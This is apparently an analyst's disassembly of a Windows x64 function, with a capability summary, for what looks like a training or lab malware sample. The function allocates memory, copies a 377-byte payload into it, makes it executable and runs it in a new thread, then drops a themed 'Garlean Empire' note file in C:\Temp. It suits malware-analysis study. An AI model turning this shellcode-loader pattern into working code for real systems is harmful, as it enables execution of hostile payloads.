Function at 0x140001cc0
Capabilities:
Create directory
Create thread
Inject thread

Disassembly:
mov r11, rsp
push rbp
push rbx
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
mov qword [r11 + 8], rsi
mov r14d, 1
mov qword [r11 + 0x18], r12
xor r12d, r12d
mov qword [r11 + 0x20], r15
mov r15d, r12d
mov dword [rbp - 0x10], r12d
lea ecx, [r14 + 0x7f]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001d63
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140001d5a
lea r9, [rbp - 0x38]
mov rcx, rbx
lea r8, str.__X_
lea edx, [r14 + 0x7f]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140001d5a
lea r8, [r12 - 1]
mov rdx, rbx
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_117mie_0m___0x_p__Current_process_handle._n
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor ecx, ecx
mov edx, 0x179
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001d9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140004e28]
call fcn.140001b90
mov r14d, r12d
jmp 0x140002117
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001e06
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140001dfd
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140001dfd
mov r8, rsi
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_154me_0m___0x_p___RW___Allocated_a_buffer_with_PAGE_READWRITE__RW___permissions__n
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r9d, 0x179
mov qword [rsp + 0x20], r12
lea r8, section..text
mov rdx, rsi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001e48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140004eb0]
call fcn.140001b90
mov r14d, r12d
jmp 0x140002117
mov qword [rsp + 0xa8], rdi
mov rdi, r12
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001ec7
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140001ebe
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140001ebe
mov r9, rdi
mov qword [rsp + 0x20], 0x179
mov r8, rsi
lea rcx, str._re_38_5_240m_s_e_0m_e_38_5_198me_0m___0x_p___RW_____zu__zu__Writing_payload_bytes_to_the_allocated_buffer...
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
inc rdi
cmp rdi, 0x179
jbe 0x140001e53
mov rdi, qword [rsp + 0xa8]
lea rcx, [0x140004f3e]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001f56
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140001f4d
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140001f4d
mov r9d, 0x179
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_154me_0m___0x_p___RW___Wrote__zu_bytes_to_the_allocated_buffer_n
mov r8, rsi
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea r9, [rbp - 0x10]
mov edx, 0x179
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140004fa0]
call fcn.140001b90
mov r14d, r12d
jmp 0x140002117
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001ff6
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140001fed
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140001fed
mov r8, rsi
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_154me_0m___0x_p___R_X__Changed_buffers_page_protection_to_PAGE_EXECUTE_READ__R_X__n
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov dword [rsp + 0x30], r12d
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, rsi
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
test rax, rax
jne 0x140002039
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140005020]
call fcn.140001b90
mov r14d, r12d
jmp 0x140002117
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400020a1
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140002098
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140002098
mov r8, r15
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_154me_0m___0x_p__Thread_created__waiting_for_it_to_finish_its_execution..._n
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edx, 0xffffffff
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140002117
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
mov rcx, rbx
test eax, eax
jne 0x140002111
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x14000210e
mov r8, r15
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_117mie_0m___0x_p__Thread_finished_execution__beginning_cleanup..._n
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, qword [rsp + 0xb0]
mov rbx, rax
test rax, rax
je 0x140002198
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x14000218f
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x14000218f
mov r8, 0xffffffffffffffff
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_117mie_0m___0x_p__Closed_process_handle_n
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r15, r15
je 0x14000220e
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000220e
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140002205
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140002205
mov r8, r15
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_117mie_0m___0x_p__Closed_thread_handle_n
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r15, qword [rsp + 0xb8]
test rsi, rsi
je 0x140002294
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140002294
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x14000228b
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x14000228b
mov r8, rsi
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_117mie_0m___0x_p__Remote_buffer_freed_n
mov rdx, rbx
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.C:Temp
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rsi, qword [rsp + 0xa0]
test eax, eax
jne 0x14000235c
lea rdx, [0x1400049ac]
lea rcx, str.C:Tempgarlean_note.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x14000235c
mov rdx, rax
lea rcx, str.___Branded_by_the_Garlean_Empire.
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputs]
mov rcx, rbx
cmp eax, 0xffffffff
jne 0x1400022f1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x14000235c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 0x80
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000235c
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140002353
lea r9, [rbp - 0x38]
mov edx, 0x80
lea r8, str.__X_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
test rax, rax
je 0x140002353
mov rdx, rbx
lea rcx, str.e_38_5_240m_s_e_0m_e_38_5_154me_0m__Left_a_little_nugget_behind._n
call fcn.1400011a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, r14d
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002610
add rsp, 0x80
pop r14
pop rbx
pop rbp
ret